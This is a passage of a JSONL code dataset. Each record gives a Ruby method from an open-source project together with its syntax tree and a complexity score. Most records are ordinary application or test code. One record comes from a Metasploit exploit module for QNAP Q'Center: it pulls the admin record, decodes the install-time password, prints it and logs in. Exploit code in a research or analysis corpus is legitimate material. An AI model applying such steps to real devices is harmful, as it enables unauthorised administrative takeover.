",\"children\":[{\"type\":\"lvar\",\"children\":[\"matching_channels\"]},\"exists?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"str\",\"children\":[\"matches an existing channel\"]}]},null]}]}]}","id":"4c4f3157-579a-4cbc-b190-87796cd0f598"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_cluster_performance.rb","start_line":6,"raw_source":"def self.display_name(number = 1)\n    n_('Cluster Performance', 'Cluster Performances', number)\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Cluster Performance\"]},{\"type\":\"str\",\"children\":[\"Cluster Performances\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"b624d011-5b77-4503-901f-1a077f36566a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/variable_force/assignment.rb","start_line":128,"raw_source":"def rest_assignment_node\n          return nil unless node.parent\n          return nil unless node.parent.type == REST_ASSIGNMENT_TYPE\n\n          node.parent\n        end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rest_assignment_node\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node\"]},\"parent\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node\"]},\"parent\"]},\"type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"REST_ASSIGNMENT_TYPE\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node\"]},\"parent\"]}]}]}","id":"beb7349e-b8dc-4c34-8c5d-e992db256fbe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/triggers_controller.rb","start_line":50,"raw_source":"def destroy\n    response = ::Ci::PipelineTriggers::DestroyService.new(user: current_user, trigger: trigger).execute\n\n    if response.success?\n      flash[:notice] = _(\"Trigger token removed.\")\n    else\n      flash[:alert] = response.message\n    end\n\n    redirect_to project_settings_ci_cd_path(@project, anchor: 'js-pipeline-triggers'), status: :found\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"PipelineTriggers\"]},\"DestroyService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trigger\"]},{\"type\":\"send\",\"children\":[null,\"trigger\"]}]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Trigger token removed.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"message\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"project_settings_ci_cd_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor\"]},{\"type\":\"str\",\"children\":[\"js-pipeline-triggers\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"found\"]}]}]}]}]}]}","id":"84f7e88e-c4df-41e6-a3f9-7dcf4b16056f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/runner.rb","start_line":243,"raw_source":"def file_started(file)\n      puts \"Scanning #{file}\" if @options[:debug]\n      formatter_set.file_started(file, cli_options: @options, config_store: @config_store)\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"file_started\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Scanning \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formatter_set\"]},\"file_started\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cli_options\"]},{\"type\":\"ivar\",\"children\":[\"@options\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config_store\"]},{\"type\":\"ivar\",\"children\":[\"@config_store\"]}]}]}]}]}]}","id":"2dfd076d-c5d6-4993-8294-46a887a2f10c"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/topic_view_serializer.rb","start_line":259,"raw_source":"def include_pending_posts?\n    scope.authenticated? && object.queued_posts_enabled?\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"include_pending_posts?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"authenticated?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"queued_posts_enabled?\"]}]}]}","id":"fa710e5e-44b6-4e25-a6a3-a004c2fd93c9"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/filters/bem_css_filter.rb","start_line":77,"raw_source":"def not_to_be_modified?(element)\n        element[\"class\"].present? &&\n          UNMODIFIED[element.name] &&\n          element[\"class\"].include?(UNMODIFIED[element.name])\n      end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"not_to_be_modified?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"[]\",{\"type\":\"str\",\"children\":[\"class\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UNMODIFIED\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"[]\",{\"type\":\"str\",\"children\":[\"class\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UNMODIFIED\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"name\"]}]}]}]}]}","id":"f016386f-9f97-478d-a45b-5cc71810e0d1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/policies/project_policy.rb","start_line":1314,"raw_source":"def lookup_access_level!\n    return ::Gitlab::Access::REPORTER if alert_bot?\n    return ::Gitlab::Access::REPORTER if support_bot? && service_desk_enabled?\n\n    # NOTE: max_member_access has its own cache\n    project.team.max_member_access(@user.id)\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup_access_level!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alert_bot?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Access\"]},\"REPORTER\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"support_bot?\"]},{\"type\":\"send\",\"children\":[null,\"service_desk_enabled?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Access\"]},\"REPORTER\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"team\"]},\"max_member_access\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]}]}]}","id":"c812f7e2-9168-4368-856f-67529791931d"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/models/principal_spec.rb","start_line":37,"raw_source":"def self.should_return_groups_and_users_if_active(method, *)\n    it \"returns a user\" do\n      user.save!\n\n      expect(described_class.send(method, *).where(id: user.id)).to eq([user])\n    end\n\n    it \"returns a group\" do\n      group.save!\n\n      expect(described_class.send(method, *).where(id: group.id)).to eq([group])\n    end\n\n    it \"does not return the anonymous user\" do\n      User.anonymous\n\n      expect(described_class.send(method, *).where(id: user.id)).to eq([])\n    end\n\n    it \"does not return an inactive user\" do\n      user.status = User.statuses[:locked]\n\n      user.save!\n\n      expect(described_class.send(method, *).where(id: user.id).to_a).to eq([])\n    end\n  end","complexity_score":95.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"should_return_groups_and_users_if_active\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\",{\"type\":\"str\",\"children\":[\"returns a user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"forwarded_restarg\",\"children\":[]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\",{\"type\":\"str\",\"children\":[\"returns a group\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"forwarded_restarg\",\"children\":[]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"id\"]}]}]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\",{\"type\":\"str\",\"children\":[\"does not return the anonymous user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"anonymous\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"forwarded_restarg\",\"children\":[]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"array\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\",{\"type\":\"str\",\"children\":[\"does not return an inactive user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"status=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locked\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"forwarded_restarg\",\"children\":[]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}]},\"to_a\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}","id":"46b5e0e9-48c6-4842-ba4f-70de9976c911"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/broadcasts/welcome_notification/generator.rb","start_line":76,"raw_source":"def send_discuss_and_ask_notification\n        return if\n          user.created_at.after?(6.days.ago) ||\n            (asked_a_question && started_a_discussion) ||\n            received_notification?(discuss_and_ask_broadcast)\n\n        Notification.send_welcome_notification(user.id, discuss_and_ask_broadcast.id)\n        @notification_enqueued = true\n      end","complexity_score":23.83,"ast_json":"{\"type\":\"def\",\"children\":[\"send_discuss_and_ask_notification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"created_at\"]},\"after?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[6]},\"days\"]},\"ago\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asked_a_question\"]},{\"type\":\"send\",\"children\":[null,\"started_a_discussion\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"received_notification?\",{\"type\":\"send\",\"children\":[null,\"discuss_and_ask_broadcast\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"send_welcome_notification\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discuss_and_ask_broadcast\"]},\"id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@notification_enqueued\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"4a1f997f-2ac3-4e2f-bf6a-2343865de053"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb","start_line":145,"raw_source":"def privesc\n    print_status 'Retrieving admin user details ...'\n\n    admin = account.first\n    if admin.blank? || admin['_id'].blank? || admin['name'].blank? || admin['new_password'].blank?\n      fail_with Failure::UnexpectedReply, 'Failed to retrieve admin user details'\n    end\n\n    @id = admin['_id']\n    @pw = Rex::Text.decode_base64 admin['new_password']\n    print_good \"Found admin password used during install: #{@pw}\"\n\n    login admin['name'], @pw\n  end","complexity_score":27.3,"ast_json":"{\"type\":\"def\",\"children\":[\"privesc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Retrieving admin user details ...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"admin\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"_id\"]}]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"new_password\"]}]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to retrieve admin user details\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"_id\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pw\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"decode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"new_password\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found admin password used during install: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pw\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"login\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"ivar\",\"children\":[\"@pw\"]}]}]}]}","id":"5186b409-439c-4d18-8a9b-b618a05ee2f0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/postgres-pr/typeconv/bytea.rb","start_line":11,"raw_source":"def encode_bytea(str)\n    str.gsub(/[\\000-\\037\\047\\134\\177-\\377]/) {|b| \"\\\\#{ b[0].to_s(8).rjust(3, '0') }\" }\n  end","complexity_score":6.6,"ast_json":"null","id":"460b6c15-0d5a-4d37-8ab2-e6b171482ae5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":1317,"raw_source":"def test_find_only_some_columns\n    topic = Topic.select(\"author_name\").find(1)\n    assert_raise(ActiveModel::MissingAttributeError) { topic.title }\n    assert_raise(ActiveModel::MissingAttributeError) { topic.title? }\n    assert_nil topic.read_attribute(\"title\")\n    assert_equal \"David\", topic.author_name\n    assert_not topic.attribute_present?(\"title\")\n    assert_not topic.attribute_present?(:title)\n    assert topic.attribute_present?(\"author_name\")\n    assert_respond_to topic, \"author_name\"\n  end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_only_some_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"select\",{\"type\":\"str\",\"children\":[\"author_name\"]}]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"MissingAttributeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"MissingAttributeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"read_attribute\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"David\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"author_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"attribute_present?\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"attribute_present?\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"attribute_present?\",{\"type\":\"str\",\"children\":[\"author_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_respond_to\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"str\",\"children\":[\"author_name\"]}]}]}]}","id":"ccfa080d-45fc-4419-a5ea-3451e86e0349"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/rspec/feature_category.rb","start_line":84,"raw_source":"def check_product_group_usage(node)\n          product_group_node = product_group_value(node)\n          return unless product_group_node\n\n          add_offense(\n            product_group_node,\n            message: format(PRODUCT_GROUP_MSG, document_link: DOCUMENT_LINK)\n          )\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_product_group_usage\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"product_group_node\",{\"type\":\"send\",\"children\":[null,\"product_group_value\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product_group_node\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"product_group_node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"PRODUCT_GROUP_MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"document_link\"]},{\"type\":\"const\",\"children\":[null,\"DOCUMENT_LINK\"]}]}]}]}]}]}]}]}]}","id":"24247d2e-524a-44c3-8813-eceda78e5a95"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/merging_test.rb","start_line":216,"raw_source":"def test_relation_merging_with_preload\n    [Post.all.merge(Post.preload(:author)), Post.preload(:author).merge(Post.all)].each do |posts|\n      assert_queries_count(2) { assert posts.first.author }\n    end\n  end","complexity_score":16.73,"ast_json":"{\"type\":\"def\",\"children\":[\"test_relation_merging_with_preload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"all\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"preload\",{\"type\":\"sym\",\"children\":[\"author\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"preload\",{\"type\":\"sym\",\"children\":[\"author\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"all\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"posts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"first\"]},\"author\"]}]}]}]}]}","id":"cf59677a-b423-4d2c-8f3c-04cc26543d21"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_expression/target.rb","start_line":58,"raw_source":"def string?\n    column_type == :string\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"string?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"string\"]}]}]}","id":"8dd311e9-792c-4b69-9716-eec6392291b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/entry/variables.rb","start_line":32,"raw_source":"def value_with_prefill_data\n            @entries.to_h do |key, entry|\n              [key.to_s, entry.value_with_prefill_data]\n            end\n          end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"value_with_prefill_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@entries\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"value_with_prefill_data\"]}]}]}]}","id":"29ac2fd1-53dd-45ac-9208-9869e76e712b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb","start_line":403,"raw_source":"def self.database_exists?(config)\n        new(config).database_exists?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"database_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},\"database_exists?\"]}]}","id":"df9f3db1-93dd-4c97-8ddd-c77d8ebe971c"}
